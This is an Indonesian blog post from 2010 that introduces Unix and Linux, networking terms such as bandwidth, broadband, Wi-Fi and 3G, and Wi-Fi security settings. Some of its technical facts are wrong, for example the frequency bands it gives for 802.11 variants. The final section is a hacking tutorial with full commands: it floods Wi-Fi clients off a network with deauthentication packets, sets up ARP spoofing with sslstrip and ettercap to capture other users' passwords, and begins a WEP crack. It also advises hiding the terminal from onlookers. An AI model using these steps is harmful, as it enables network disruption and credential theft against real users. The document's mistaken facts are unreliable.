Rabu, 22 Desember 2010

UNIX DAN LINUX

1 Operating System bukanlah Aplikasi !!!
Komputer tanpa Operating System (Sistem Operasi) sama dengan memiliki Walkman tanpa kaset, yang artinya sama saja bohong. Operating System BUKAN aplikasi. Masyarakat sering tertukar antara pengertian Software dan Aplikasi. Pengertian mudahnya, software adalah segala macam jenis program yang digunakan untuk mengoperasikan komputer dan peralatannya.
Sedangkan software terbagi menjadi dua :
• Operating Systems : software yang digunakan untuk mengoperasikan komputer
• Applications : program yang dioperasikan di dalam sebuah lingkungan Operating System untuk keperluan-keperluan tertentu, misal : Programming, Office Work, dan Gaming.
2 Operating System Terkini
Operating System berkembang mengikuti perkembangan teknologi dan kebutuhan manusia. Secara umum Operating System dibuat untuk jenis komputer tertentu, antara lain sebagai berikut:
• Microsoft Windows untuk Personal Computer (PC)
• VMS untuk DEC • OS/2, AIX, OS/390 untuk IBM
• MacOS untuk Apple Macintosh
• SunOS untuk Sun Computers
• Microsoft Windows CE untuk Palmtop UNIX adalah induk Operating System yang mampu diimplementasikan untuk segala macam jenis mesin komputer yang ada hingga saat ini.
Daftar Operating System dengan versi terakhirnya (dengan urutan random):
1.Microsoft Windows Me
2.Microsoft Windows 2000
3.Novell Netware 5
4.MacOS 9 Beta dan MacOS X Server
5.Linux RedHat 7.0, Mandrake 7.2, YellowDog 1.2, MkLinux R1, LinuxPPC 2000, Slackware 7.1, Caldera OpenLinux 2.4, SuSE 7.0, Debian 2.2 6.FreeBSD 4.2 7.Solaris 7 8.BeOS Release 5
3 Konsep Kernel dan Shell
Kernel adalah jembatan antara hardware dan aplikasi-aplikasi yang menerjemahkan bahasa software sehingga mampu dimengerti oleh hardware dan hardware akan segera memprosesnya sesuai dengan permintaan. Akibatnya hal tersebut memungkinkan pengguna untuk menggunakan atau bekerja dengan komputernya melalui software. Hal-hal yang dilakukan oleh Kernel :
• interrupt handler – yang mampu menangani I/O request
• memory management Untuk melakukan hal-hal tersebut, beberapa orang/kelompok mempunyai pertimbangan dan arahan pengembangan yang berbeda.
Hal ini yang menyebabkan Operating System muncul dalam berbagai jenis, seperti :
• Windows 3.11 dengan metoda non pre-emptive multitasking yang kemudian dikembangkan dalam Windows 9x menjadi Pre-Emptive MultiTasking.
• Windows yang menggunakan Driver untuk mengakses hardware, berbeda dengan Unix lainnya yang memasukkannya ke dalam kernel. Linux, MacOS dan BeOS adalah hibrid dari dua konsep ini, sebagian (yang esensial) dimasukkan ke dalam kernel dan sisanya dijadikan module-module (karena tidak semua komputer perlu/sama). Sedangkan shell adalah jembatan antara User Input dengan Kernel, berfungsi memberikan fasilitas pada Pengguna agar bisa berinteraksi dengan Komputer (baik Software maupun Hardware). Ilustrasi Shell: Shell dalam Windows95 dikenal sebagai Windows Explorer, sedangkan untuk Windows 98 telah diubah menjadi Internet Explorer (4.0 dan 5.0). Alternatif lain shell untuk Windows adalah LiteStep, yang memberikan tampilan Windows menyerupai XWindow Afterstepnya Unix. Shell lebih dikenal oleh para pengguna Unix, antara lain : csh, tcsh, bash, pdksh, sh, dan lain-lain.
4 Unix??? … Apaan tuch .. !!!???
Unix adalah sebuah Operating System yang pada awalnya dikembangkan oleh Bell Labs pada tahun 1969 sebagai sebuah sistem yang berkonsep ‘interaktif time-sharing’. Pencipta dari Unix adalah Ken Thompson dan Dennis Ritchie. Pada tahun 1974, Unix menjadi Operating System pertama yang ditulis dalam bahasa C dan sistem operasi yang sifatnya terbuka atau standard. Unix telah terstandardisasi oleh IEEE sebagai Portable Operating System Interface (POSIX). Karakteristik Unix
1.Multitasking – dapat menjalankan lebih dari satu jenis aplikasi pada saat yang bersamaan. 2.Multiuser – dapat digunakan oleh lebih dari satu user pada waktu yang bersamaan. 3.Line/Text Command Based – menyerupai DOS yang menggunakan perintah yang di’ketik’an sebagai sarana ‘memerintah’ komputer. Meskipun demikian telah dikembangkan aplikasi-aplikasi GUI yang dapat menggantikan perintah ‘ketik’ tersebut dengan menjalankan XWindows. Analog dengan DOS dan Win311, di mana Win311 belum dapat dikatakan sebagai sebuah Operating System.
4.Secure – memiliki tingkat keamanan yang cukup dibandingkan Operating System lainnya. Di mana setiap file, user dan group memiliki ’set’ ijin yang tersendiri, sehingga tidak memungkinkan seorang user untuk menghapus atau meng’edit’ tanpa memiliki ijin yang cukup. 5.Ready-for-Network ? karena sejarah pembuatannya memiliki tujuan sebagai sarana komunikasi antar komputer, maka Unix hingga saat ini masih unggul dalam hal Computer-Networking.
4.1 Sejarah Unix
• 1965 Bell Laboratories bergabung dengan MIT dan General Electric untuk dukungan pengembangan sistem operasi yang baru, Multics, yang bisa menyediakan multi-user, multi-prosesor dan multi-level file system.
• 1969 AT&T merasa kurang yakin dan keluar dari proyek Multics. Beberapa programmer proyek itu, Ken Thompson, Dennis Ritchie, Rudd Canaday dan Doug McIlroy merancang dan mengimplementasikan file sistem unix pertama, dan diberi nama UNIX oleh Brian Kernighan.
• 1970 1 Januari ditetapkan sebagai waktu 0 UNIX
• 1971 Sistem mulai berjalan di atas PDP-11 dengan 16kb memory, termasuk 8 kb untuk program dan 512kb disk. Penggunaan secara nyata dipakai di Laboratorium Bell sebagai alat pengolah kata.
UNIX banyak dipakai di antara programmer karena:
•berfungsi di lingkungan programmer
•user interface yang mudah
•utiliti yang sederhana dengan kinerja tinggi
•sistem file yang hirarkis
•interface yang sederhana dalam format file
•multi-user dan multi-prosesing
•arsitektur yang independen dan transparan terhadap user.
• 1973 Kode Unix ditulis ulang dalam bahasa C, sebuah bahasa pemrograman baru yang dikembangkan oleh Dennis Ritchie. Ditulis ulang ke dalam bahasa yang high-level sehingga memudahkan diporting ke komputer/mesin baru.
• 1974 Thompson dan Ritchie mempopulerkan sistem operasi Unix baru yang mengakibatkan antusias yang tinggi di kalangan akademik sebagai alat yang potensial dalam pengembangan sistem programming. Sejak AT&T menarik dari publik tahun 1956, mereka melisensikan ke universitas untuk kegunaan pendidikan dan juga sebagai produk komersil.
• 1977 Ada 500 Unix sites di seluruh dunia.
• 1980 BSD 4.1 (Berkeley Software Development)
• 1983 SunOS, BSD 4.2, SysV
• 1984 Ada sekitar 100.000 Unix sites dengan platform yang berbeda-beda.
• 1988 AT&T dan Sun Microsystems bergabung merancang System V Release 4. Selanjutnya system ini dikembangkan menjadi UnixWare dan Solaris 2.
• 1993 Novell membeli UNIX dari AT&T
• 1994 Novell memberi nama “UNIX” menjadi X/OPEN
• 1995 Santa Cruz Operations (SCO) membeli UnixWare dari Novell. SCO dan HP mengumumkan akan bergabung membangun Unix 64 bit.
• 1996 International Data Corporation memperkirakan di tahun 1997 akan tersebar tiga juta system Unix di seluruh dunia. Introduction to Unix: ftp://wks.uts.ohio-state.edu/unix_course/unix_book.ps
4.2 Proyek GNU
The GNU Project’s aim was to develop a complete free Unix-like system. GNU adalah singkatan dari GNU not Unix. Proyek ini diluncurkan tahun 1984 untuk mengembangkan sistem operasi unix-like yang lengkap, dengan kata lain GNU System. Salah satu varian GNU ini menggunakan kernel Linux dan sering disebut sebagai GNU/Linux. Proyek ini terus dikembangkan dengan pembuatan software dan utilitas yang free. Pengembangannya dilakukan secara terpisah-pisah, misalnya Linus Torvalds terus menulis kode kernel, Donal Knuth membuat standar text-formatter (TeX), Bob Scheifler mengembangkan sistem X Window dan lain-lain sampai ke program dan utilitas. Selain GNU ada juga proyek yang secara independen menghasilkan sistem operasi unix-like yang gratis. System ini dikenal dengan nama BSD yang dikembangkan oleh UC Berkeley. Sistem operasi free yang ada sekarang pada umumnya merupakan varian dari sistem GNU atau sistem BSD.
4.3 Apakah arti Free Software?
Free software adalah sebuah bentuk kebebasan, mengacu ke pengguna untuk memakai, mengkopi, mendistribusikan, mempelajari, mengubah maupun meningkatkan software tersebut. Secara spesifik ada 4 arti kebebasan:
1. Bebas menjalankan program [freedom 0].
2. Bebas mempelajari program dan mengadaptasi sesuai kebutuhan [freedom 1].
3. Bebas mendistribusikan ulang [freedom 2].
4. Bebas meningkatkan program dan mempublikasikannya [freedom 3].
Dalam proyek GNU ini digunakan dua lisensi untuk melindungi kebebasan secara legal:
1. Copyleft: siapapun yang mendistribusikan ulang program dengan atau tanpa perubahan harus memberikan kebebasan juga untuk didistribusikan lagi atau diubah. Copyleft menjamin setiap pengguna mempunyai kebebasan.
2. Non-copyleft: siapapun yang mendistribusikan atau mengubah harus mendapat ijin dari pembuat program. Free Software Foundation: http://www.fsf.org/
5 Bedanya dengan Linux???
Linux adalah sebuah sistem operasi yang ‘menyerupai’ UNIX, merupakan implementasi independen dari POSIX, meliputi true multitasking, virtual memory, shared libraries, demand-loading, proper memory management, dan multiuser. Linux seperti layaknya UNIX, mendukung banyak software mulai dari TeX, X Window, GNU C/C++ sampai ke TCP/IP. Linux adalah sistem operasi yang disebarkan secara luas dengan gratis di bawah lisensi GNU General Public License (GPL), yang berarti juga source code Linux tersedia. Itulah yang membuat Linux sangat spesial. Linux masih dikembangkan oleh kelompok-kelompok tanpa dibayar, yang banyak dijumpai di Internet. Mereka tukar-menukar kode, melaporkan bug, dan membenahi segala masalah yang ada. Setiap orang yang tertarik dipersilakan untuk bergabung dalam pengembangan Linux.
6 Mengapa Linux???
Beberapa orang mengatakan bahwa Linux dapat diandalkan dan memiliki tingkat security yang cukup baik. Tambahan lain yaitu Linux yang relatif murah, mudah didapatkan di internet, dan secara periodik di’update’ dengan periode yang cukup singkat dan dikembangkan dengan teknologi yang baru. Dengan kata lain Linux selalu mengikuti perkembangan teknologi komputer. Tambahan dari Penulis : ‘Tidak ada kata tidak bisa oleh Linux, yang ada hanyalah belum bisa’ Keunggulan Linux :
• Linux gratis. Pikirkan Anda mendapat “minuman gratis”. Linux itu 100% gratis, bukan shareware. Meminjam kopian Linux dan menggunakannya pun masih termasuk legal, atau membeli CD-ROM Linux dengan hanya mengganti biaya pembakaran CD dan mungkin beberapa benda lain (manual, aplikasi bonus, dukungan teknis dan lain-lain). Linux bahkan dapat diambil lewat Internet tanpa biaya tetapi akan menghabiskan waktu dan biaya pengambilan yang tidak murah.
• Linux siap pakai. Sistem operasi lain memberikan aplikasi awal yang sangat sedikit, mungkin editor teks, aplikasi grafis sederhana dan beberapa permainan dan pengguna harus membeli aplikasi-aplikasi tambahan lainnya. Linux memberikan hampir semua yang pengguna butuhkan dan inginkan, antara lain: variasi editor teks, aplikasi grafis kompleks, browser, permainan, aplikasi kantor, aplikasi network, kompiler, video, audio dan masih banyak lagi dalam satu paket distribusi.
• Linux mudah diinstal. Pasti banyak orang yang protes mengenai hal ini karena mitos umum adalah Linux sangatlah sulit untuk diinstalasi, tetapi mungkin ini adalah Linux 3 atau 4 tahun lalu. Bacalah instruksi dengan baik dan ketahuilah jenis perangkat keras yang dipunyai maka ………
• Tidak ada hal yang menjadi sulit. Beberapa kesulitan dapat diatasi dengan berdiskusi antar pengguna Linux baik melalui mailing list atau pun menghubungi Kelompok Pengguna Linux di kota masing-masing.
• Linux multitasking. Linux dapat menjalankan beberapa aplikasi dalam waktu yang sama dan masing-masing aplikasi juga dapat melakukan beberapa pekerjaan dalam waktu yang sama (multithreading).
• Linux multiuser. Lebih dari satu orang dapat memakai Linux pada saat yang bersamaan dan hal ini tentunya dilakukan dalam lingkungan jaringan komputer.
• Linux handal. Linux dapat menangani situs web yang mendapat akses jutaan per hari. Dengan tambahan peralatan Linux dapat berkompetisi dengan superkomputer berharga jutaan dolar. Banyak komputer Linux yang berjalan selama tahunan tanpa pernah sekalipun crash dan ini menunjukkan kehandalannya
• Linux fleksibel. Linux tidak peduli apabila dipakai bukan dengan komputer terhebat di pasaran. Ia berjalan dengan baik dengan apapun yang ada misalnya dengan komputer 486 dan memori 8MB. Linux juga dapat berjalan dengan harddisk 50 MB tanpa grafis bahkan untuk sekedar perawatan Linux dapat berjalan dengan hanya satu disket saja.
• Linux kompatibel. Linux dapat dijalankan di berbagai jenis komputer seperti 386/486/Pentium PC, Macintosh dan PowerPC bahkan komputer Alpha dan SPARC. Linux juga mampu menangani multi prosesor dan mampu menangangi hampir semua kartu audio dan video. Linux dapat diinstalasi di harddisk berisi Windows/DOS (selama masih ada ruang sisa) dan tidak mempengaruhi kinerja keduanya. Linux punya tampilan grafis. Banyak orang (terutama reporter) sepertinya berpikir bahwa Linux itu tidak mempunyai tampilan grafis. Padahal tidak hanya mempunyai satu GUI (graphical user interfaceI), tapi Linux mempunyai lusinan GUI. Ingin tampilan seperti Windows 3X, Windows9X, atau Macintosh, Linux bisa menyediakannya.
• Linux aman. Selain fakta keuntungan keamanan jaringannya, Linux juga aman untuk pengunaan rumahan. Hanya dengan beberapa persiapan sekuriti dan sistem rumahan akan aman terhadap virus, lagipula virus tidak dapat mengganggu banyak pada komputer Linux. Apabila pengguna menciptakan user account sendiri untuk penggunaan sehari-hari makan sangatlah mustahil untuk melakukan sesuatu yang bodoh seperti memformat harddisk tanpa sengaja.
• Linux bebas. Tidak seperti sistem operasi pada umumnya, Linux adalah aplikasi gratis. Untuk tambahan penjelasan pertama diatas maka pikirkan “kebebasan berbicara”. Linux disebarkan dengan kode program-nya. Mungkin ada yang berpikiran, “Untuk apa? Saya bukan pemrogram!” Tetapi dengan terdistribusinya kode pembuatan maka tidak ada pihak yang dapat mematikan Linux dengan alasan apapun.
• Linux tidaklah sempurna. Tidak akan jujur sebuah pernyataan apabila tidak mengungkapkan kelemahan. Dengan mengetahui kelemahan Linux maka pengguna dapat mengetahui sejauh mana Linux dapat dikembangkan dan jangan khawatir dari hari ke hari kelemahan Linux makin berkurang (terbukti dengan GUI Linux). Pada umumnya UNIX dibuat untuk keperluan komputer yang akan didedikasikan sebagai SERVER, sedangkan Linux, tanpa melupakan keunggulannya dalam networking, Linux tetap terus mengembangkan diri sebagai Operating System sebagai Server, tetapi Linux juga mengembangkan diri ke arah Operating System yang mampu dijadikan sebagai Workstation

New Media

Bandwidth dalam teknologi komunikasi adalah perbedaan antara frekuensi terendah dan frekuensi tertinggi dalam rentang tertentu. Sebagai contoh, line telepon memiliki bandwidth 3000Hz(Hertz), yang merupakan rentang antara frekuensi tertinggi (3300Hz) dan frekuensi terendah (300Hz) yang dapat dilewati oleh line telepon ini.
Bandwidth adalah luas atau lebar cakupan frekuensi yang digunakan oleh sinyal dalam mediumtransmisi. Dalam kerangka ini, Bandwidth dapat diartikan sebagai perbedaan antara komponen sinyalfrekuensi tinggi dan sinyal frekuensi rendah. frekuensi sinyal diukur dalam satuan Hertz. sinyal suara tipikal mempunyai Bandwidth sekitar 3 kHz, analog TV broadcast (TV) mempunyai Bandwidth sekitar 6 MHz. Bandwidth diartikan juga sebagai takaran jarak frekuensi. Dalam bahasa mudahnya, adalah sebuah takaran lalu lintas data yang masuk dan yang keluar. Dalam dunia hosting, kita di berikan jatahBandwidth setiap bulan tergantung seberapa dalam kita merogoh kocek. Habisnya Bandwidthditentukan seberapa banyak kita mengupload atau mendownload. Makin banyak anda melakukan aktivitas upload, ditambah makin banyaknya pengunjung yang mengakses, maka makin berkurang jatahBandwidth yang diberikan. Misalkan, www.namasitus.com diberi jatah Bandwidth sebesar 1,5 Gigadalam sebulan. Dan sudah sejak bulan Desember rasanya jatah Bandwidth yang diberikan kurang. Pada bulan Desember, jatah Bandwidth habis sehari sebelum tahun baru. Dan berturut-turut bulan Januari, Februari, Maret dan April habis dalam 3 minggu. Otomatis, dalam seminggu terakhir didats.net tidak bisa diakses.
Baseband adalah sebuah metode penggunaan media komunikasi dimana frekuensi yang dilewatkan pada carrier hanya satu buah untuk mentransmisikan data.Merupakan salah satu jenis Local Area Network, yang mana suatu pesan disalurkan dalam bentuk digital pada suatu saluran transmisi diantara mesin-mesin yang dihubungkan dengan kabel koaksial atau kabel twisted pair.Oleh karena itu, dalam satu media tersebut hanya terdapat satu sinyal yang memiliki arti. Salah satu contoh pengguna metode baseband adalah ethernet. Lawan baseband adalah Broadband.
Broadband merupakan sebuah istilah dalam internet yang merupakan koneksi internet transmisi data kecepatan tinggi. Ada dua jenis jalur lebar yang umum, yaitu DSL dan kabel modem, yang mampu mentransfer 512 kbps atau lebih, kira-kira 9 kali lebih cepat dari modem yang menggunakan kabel telepon standar.
Akses internet jalur lebar menjadi pasar yang tumbuh dengan cepat dalam banyak bidang di awal 2000-an; satu penelitian menemukan bahwa penggunaan internet jalurlebar di Amerika Serikattumbuh dari 6% pada Juni 2000 ke nyaris 30% pada 2003. Jalur lebar sering dipanggil internet kecepatan-tinggi, karena biasanya memiliki kecepatan aliran data yang tinggi. Umumnya, hubungan ke pelanggan dengan kecepatan 256 kbit/d (0,256Mbit/d) atau lebih dianggap sebagai internet jalur lebar. International Telecommunication Union Sektor Standarisasi (ITU-T) rekomendasi I.113 mendefinisikan jalur lebar sebagai kapasitas pengiriman yang lebih cepat dari kecepatan utama ISDN pada 1,5 sampai 2 Mbit/d. DefinisiFCC dari broadband sekitar 200 kbit/d dalam satu arah, dan jalur lebar canggih paling tidak 200 kbit/d dalam dua arah. OECD mendefinisikan jalur lebar sebagai 256 kbit/d dalam paling tidak satu arah dan kecepatan ini yang paling diterima di seluruh dunia. Dalam praktek, jalur yang diiklankan tidak selalu tersedia bagi pelanggan; ISP seringkali memiliki jumlah pelanggan yang lebih banyak dari hubungan yang bisa ditangani, dengan anggapan bahwa seluruh pelanggan tidak menggunakan internet dengan kapasitas penuh dalam waktu yang sama. Strategi ini dapat diterima, namun dengan berkembangnya sistem peer to peer file sharing, seringkali membuat masalah bagi ISP yang memiliki pelanggan lebih dari kapasitas peralatan mereka. Karena lebar jalur yang diberikan kepada pelanggan terus meningkat, pasar dapat mengharapkan bahwa pelayanan video on demand dapat disalurkan melalui internet akan menjadi semakin populer, meskipun begitu saat ini pelayanan tersebut masih membutuhkan jaringan yang khusus. Kecepatan data dalam kebanyakan jasa jalur lebar masih tidak mencukupi untuk menyediakan video berkualitas bagus, karena MPEG-2 masih membutuhkan 6 Mbit/d untuk hasil yang bagus. Format MPEG-4 menghantarkan video kualitas-tinggi pada 2 Mbit/d, di penghujung akhir kemampuan modem kabel dan ADSL sekarang ini. Format Ogg Tarkin diharapkan dapat menghantarkan performa yang setanding.
Narrowband adalah merupakan pita dengan saluran sempit. Dengan kemampuan kecil. Defenisi dari narrowband ini berbeda-beda dari berbagai industri.
Contoh teknologi yang tergolong narrowband ini:
- T-1 pada 1,54 Mps melalui media fiber optik, infra merah, gelombang mikro atau dua pasang kabel.
- Jalur telepon analog pada 3000 Hz, pada POTS (Plain Old Telephone Service), atau infrastruktur telepon biasa. Untuk memanfaatkan data digital pada teknologi ini ditambahkan perangkat modem, yang berfungsi untuk membawa data dari komputer digital.
- BRI ISDN pada 144 kbps. Dua jalur untuk suara dan data, masing-masing pada 64 kbps. Satu jalur untk sinyal 16 kbps..
b. Wi-Fi merupakan kependekan dari Wireless Fidelity, yang memiliki pengertian yaitu sekumpulan standar yang digunakan untuk Jaringan Lokal Nirkabel (Wireless Local Area Networks – WLAN) yang didasari pada spesifikasi IEEE 802.11. Standar terbaru dari spesifikasi 802.11a atau b, seperti 802.16 g, saat ini sedang dalam penyusunan, spesifikasi terbaru tersebut menawarkan banyak peningkatan mulai dari luas cakupan yang lebih jauh hingga kecepatan transfernya
Awalnya Wi-Fi ditujukan untuk penggunaan perangkat nirkabel dan Jaringan Area Lokal (LAN), namun saat ini lebih banyak digunakan untuk mengakses internet. Hal ini memungkinan seseorang dengan komputer dengan kartu nirkabel (wireless card) atau personal digital assistant (PDA) untuk terhubung dengan internet dengan menggunakan titik akses (atau dikenal dengan hotspot) terdekat.
Wi-Fi dirancang berdasarkan spesifikasi IEEE 802.11. Sekarang ini ada empat variasi dari 802.11, yaitu:
§  802.11a
§  802.11b
§  802.11g
§  802.11n
Spesifikasi b merupakan produk pertama Wi-Fi. Variasi g dan n merupakan salah satu produk yang memiliki penjualan terbanyak pada 2005.
Spesifikasi
Kecepatan
Frekuensi
Band
Cocok
dengan
802.11b
11 Mb/s
~2.4 GHz
b
802.11a
54 Mb/s
~2.4 GHz
a
802.11g
54 Mb/s
~2.4 GHz
b, g
802.11n
100 Mb/s
~5 GHz
b, g, n
3G atau third-generation technology merupakan sebuah standar yang ditetapkan oleh International Telecommunication Union (ITU) yang diadopsi dari IMT-2000 untuk diaplikasikan pada jaringan telepon selular. Istilah ini umumnya digunakan mengacu kepada perkembangan teknologi telepon nirkabel versi ke-tiga. Melalui 3G, pengguna telepon selular dapat memiliki akses cepat ke internet dengan bandwidth sampai 384 kilobit setiap detik ketika alat tersebut berada pada kondisi diam atau bergerak secepat pejalan kaki. Akses yang cepat ini merupakan andalan dari 3G yang tentunya mampu memberikan fasilitas yang beragam pada pengguna seperti menonton videosecara langsung dari internet atau berbicara dengan orang lain menggunakan video. 3G mengalahkan semua pendahulunya, baik GSM maupun GPRS. Beberapa perusahaan seluler dunia akan menjadikan 3G sebagai standar baru jaringan nirkabel yang beredar di pasaran ataupun negara berkembang.
International Telecommunication Union (ITU) pada tahun 1999 telah mengeluarkan standar yang dikenal sebagai IMT-2000 (International Mobile Telecommunications-2000) yang meliputi GSM, EDGE,UMTS, CDMA, DECT dan WiMAX, dimana 3G berada di bawah standar IMT-2000 tersebut. Secara umum, ITU, sebagaimana dikutip oleh FCC mendefinisikan 3G sebagai sebuah solusi nirkabel yang bisa memberikan kecepatan akses.
§  Sebesar 128 Kbps untuk kondisi bergerak cepat atau menggunakan kendaraan bermotor.
§  Sebesar 384 Kbps untuk kondisi bergerak.
§  Paling sedikit sebesar 2 Mbps untuk kondisi statik atau pengguna stasioner.
§  Penggunaan General Packet Radio Service (GPRS) mencapai 114 Kbps.
c. Browser adalah program aplikasi yang menterjemahkan kode HTML dan merepresentasikan halaman web site. Aplikasi inilah yang paling sering kita gunakah setiap hari untuk melakukan browsing di dunia maya. Macam browser sekarang semakin banyak saja diantaranya adalah: Internet ExplorerNetscapeMozilla,ChromeSafari, dll.
situs web (sering pula disingkat menjadi situs saja; web sitesite) adalah sebutan bagi sekelompok halaman web (web page), yang umumnya merupakan bagian dari suatu nama domain (domain name) atau subdomaindi World Wide Web (WWW) di InternetWWW terdiri dari seluruh situs web yang tersedia kepada publik. Halaman-halaman sebuah situs web diakses dari sebuah URL yang menjadi “akar” (root), yang disebut homepage(halaman induk; sering diterjemahkan menjadi “beranda“, “halaman muka” atau laman web), dan biasanya disimpan dalam server yang sama. Tidak semua situs web dapat diakses dengan gratis. Beberapa situs webmemerlukan pembayaran agar dapat menjadi pelanggan, misalnya situs-situs yang menampilkan pornografi, situs-situs berita, layanan surat elektronik (e-mail), dan lain-lain.

wi-fi security


wi-fi atau wireless merupakan koneksi yang tanpa menggunakan kabel atau nirkabel. jaringan merupakan jaringan yang sering kita temui di berbagai pusat perbelanjaan seperti mall atau juga di kampus-kampus atau di tempat-tempat makan bahkan di lapangan futsal pun ada wifi nya. wifi memiliki sistem keamanan yaitu WEP, WPA, dan 802.1x. untuk lebih jelasnya bisa liat dibawah ini:


WEP
Teknik pengaman jaringan wireless yang satu ini merupakan kepanjangan dari Wired Equivalent Privacy. WEP menggunakan sistem enkripsi untuk memproteksi pengguna WLAN dalam level yang paling dasar. WEP memungkinkan administrator jaringan wireless membuat encription key yang akan digunakan untuk mengenkripsi data sebelum dikirimkan melalui jalan udara. Encription key ini biasanya dibuat dari 64 bit key awal dan dipadukan dengan algoritma enkripsi RC4. Ketika fasilitas WEP diaktifkan, maka semua perangkat wireless (AP dan client) yang ada di jaringan harus dikonfigurasi dengan menggunakan key yang sama. Hak akses dari seseorang atau sebuah perangkat akan ditolak jika key yang dimasukkan tidak sama.

WI-FI Protected Access atau disingkat dengan istilah WPA
merupakan teknik pengaman jaringan wireless LAN yang diklaim lebih canggih dari WEP. Dengan disertai teknik enkripsi yang lebih advanced dan tambahan pengaman berupa otentikasi dari penggunanya, maka WPA akan jauh lebih hebat mengamankan Anda pengguna WLAN.

802.1x
Teknik pengaman yang satu ini akan mengharuskan semua pengguna jaringan wireless untuk melakukan proses otentikasi terlebih dahulu sebelum dapat bergabung dalam jaringan. Sistem otentikasinya dapat dilakukan dengan banyak cara, namun sistem otentikasi menggunakan pertukaran key secara dinamik. Sistem pertukaran key secara dinamik ini dapat dibuat dengan menggunakan Extensible Authentication Protocol (EAP).

dengan kata lain tingkat keamanan terendah suatu jaringan wifi adalah jika menggunakan password WEP. Dan ada juga beberapa yang perlu di perhatikan dalam menggunakan atau membuat jaringan wifi seperti dibawah ini:
6 Langkah Pengamanan Dasar Jaringan :

1. Ubahlah Sistem ID (Identitas)

Biasanya suatu layanan nirkabel dilengkapi dengan suatu standart pengamanan identitas atau yang sering disebut SSID (Service Set Identifier) or ESSID (Extended Service Set Identifier). Sangat mudah bagi seorang hacker untuk mencari tahu identitas default dari suatu layanan atau jaringan, jadi sebaiknya Anda segera mengubahnya menjadi suatu identitas yang unik, yang tidak mudah ditebak orang lain.
2. Mematikan identitas pemancar
Dengan mengumumkan kepada umum bahwa Anda memiliki suatu jaringan nirkabel akan membuat para hacker penasaran untuk membobol jaringan nirkabel Anda. Mempunyai suatu jaringan nirkabel bukan berarti harus memberitahukannya kepada semua orang. Periksalah secara manual perangkat keras yang Anda pakai untuk jaringan nirkabel tersebut, dan pelajarilah bagaimana cara mematikannya.
3. Sediakanlah enkripsi
WEP (Wired Equivalent Privacy) and WPA (Wi-Fi Protected Access) dapat meng-enkripsi data Anda sehingga hanya penerima saja yang diharapkan dapat membaca data tersebut. WEP (Wired Equivalent Privacy) mempunyai banyak kelemahan yang membuatnya mudah disusupi. Kunci 128-bit hanya mempunyai tingkat pencapaian yang relatif rendah tanpa peningkatan keamanan yang signifikan, sedangkan untuk 40-bit atau 64-bit pada beberapa perlengkapan lainnya, mempunyai enkripsi yang sama baiknya. Dengan cara pengamanan yang standart saja pastilah tetap akan mudah bagi hacker untuk menyusup, namun dengan cara enkripsi ini pastilah akan membuat jaringan Anda lebih aman dari hacker. Jika memungkinkan, ada baiknya untuk menggunakan enkripsi WPA (peralatan yang lebih tua dapat diupgrade terlebih dahulu agar compatible dengan WPA). WPA dapat sangat menjanjikan dalam menjamin keamanan jaringan nirkabel Anda, namun masih tetap dapat dikalahkan oleh serangan DOS (denial of services).
4. Membatasi dari penggunaan traffic yang tidak perlu
Banyak router jaringan kabel maupun nirkabel yang dilengkapi firewalls. Bukan bermaksud mengedepankan firewalls, namun firewalls telah membantu dalam pertahanan keamanan jaringan. Bacalah petunjuk manual dari perangkat keras Anda dan pelajarilah cara pengaturan konfigurasi router Anda, sehingga hanya traffic yang sudah seijin Anda saja yang dapat dijalankan.
5. Ubahlah 'kata sandi' default Administrator milik Anda
Hal ini baik untuk semua penggunaan perangkat keras maupun perangkat lunak. Kata sandi default sangat mudah disalahgunakan, terutama oleh para hacker. Oleh karena itu sebaiknya ubahlah kata sandi Anda, hindari penggunaan kata dari hal-hal pribadi Anda yang mudah diketahui orang, seperti nama belakang, tanggal lahir, dan sebagainya.
6. Kunci dan lindungilah komputer Anda
Hal ini merupakan cara pengamanan terakhir untuk komputer Anda. Gunakanlah firewall, perangkat lunak Anti Virus, Zone Alarm, dan lain sebagainya. Setidaknya setiap satu minggu perbaharuilah Anti Virus yang Anda pakai.
dan ada beberapa teknik hacking pada jaringan wi-fi (mohon maaf kalo masih ada yang salah stepnya, masih butuh bimbingan)
1.deautenfikasi
2.spoofing
3.wep crack
untuk yang pertama saya ingin menjelaskan langkah-langkah deautenfikasi, ini bertugas untuk mengirimkan paket terus menerus sehingga target menjadi lambat berkoneksi dan akan terputus dari koneksi jika terus menerus di beri paket.
deautenfikasi
1. buka backtrack (usahakan pakai leptop yang cocok dengan backtrack, suka ada yang masih butuh konfigurasi-konfigurasi khusus yang ribet dan saya kurang mengerti)
2.lalu buka terminal taw untuk lebih aman biar tidak kelihatan orang pakai yakuake
3.buat device baru dengan mode monitor dengan menuliskan airmon-ng start wlan0
4.search koneksi wifi dan pengguna wifi lain yang dapat di terima oleh leptop anda dengan cara airodump-ng mon0
5. kita bisa memfokuskan pada 1 AP(akes point) dengan cara menuliskan airodump-ng -c 1 --bssid aa:bb:cc:dd:ee:ff mon0 yang maksudnya ialah memfokuskan pada Ap yang memiliki channel 1 dan bssidnya aa:bb:cc:dd:ee:ff menggunakan device mon0
6.setelah itu saatnya kita mengirim paket ke semua user pengguna AP tersebut, dengan cara aireplay-ng -0 5 -a aa:bb:cc:dd:ee:ff -c ff:ff:ff:ff:ff:ff mon0 ini maksudnya ialah mengirimkan tipe deautenfikasi sebanyak 5 x kepada AP aa:bb:cc:dd:ee:ff dan diberikan kepada semua user pengguna AP tersebut
selesai dan semua user akan terdisconnect dari AP
spoofing
1.buka terminal taw yakuake
2. koneksikan dengan AP yang ingin di spoof
3.ketikan pada terminal echo 1 > /proc/sys/net/ipv4/ip_forward yang bertujuan untuk mengaktivkan ip forward
4.kemudian ketik cat /proc/sys/net/ipv4/ip_forward untuk mengecek apakan nilai ip forward sudah sama dengan 1, jika sudah maka lakukan langkah ke 5
5.kemudian kita ketikan ini, iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000 (untuk membuat ip table)
6. kemudian sslstrip -a -f -k untuk mengaktifkan sslstrip lalu arpspoof -i eth0 -t [ip target] [routers] untuk melakukan arp dan ettercap -T -q -i eth0 untuk membaca password dan username yang lewat pada jaringan wifi tersebut. ketiga perintah tersebut di ketikan pada 3 terminal berbeda dan di enter secara bersamaan.
dan kita telah melakukan spoofing pada suatu target.
wep crack
1.buka terminal
2.buat device menggunakan airmon-ng
4.kemudian ketik airodump-ng --channel [num] --write [nama_file] [interface] untuk membuat file berdasarkan channel yang dimaksud.
5.lakukan perintah deautensifikasi pada terminal lain
